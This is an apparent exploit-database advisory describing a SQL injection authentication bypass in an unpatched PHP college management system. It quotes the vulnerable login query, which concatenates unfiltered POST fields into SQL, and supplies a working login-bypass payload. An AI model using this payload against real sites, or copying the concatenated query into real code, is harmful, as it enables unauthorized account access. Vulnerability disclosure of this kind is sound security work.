College-Management-System-Php 1.0 - Authentication Bypass

ID: 103129
CVE: None
Download vulnerable application: None
# Exploit Title:  / SQL Injection
# Exploit Author: BLAY ABU SAFIAN (Inveteck Global)
# Website:
# Date: 2020-06-16
# Google Dork: N/A
# Vendor:
# Software Link:
# Affected Version: N/A
# Patched Version: unpatched
# Category: Web Application
# Tested on: MAC

The College Management System Php suffers from sql injection vulnerabilities in the index.php page:


  $sql=mysqli_query($con,"SELECT * FROM users_tbl
              WHERE username='$uname' AND password='$pwd'

SQL injection vulnerability:-
in file index.php data from POST parameter 'unametxt' and 'pwdtxt' are not getting filter before passing into SQL query and hence rising SQL Injection vulnerability

' or 1=1 --

Thank you

Abu Safian Blay< rel="nofollow" href=">" target="_blank">>
1-4-2 (www01)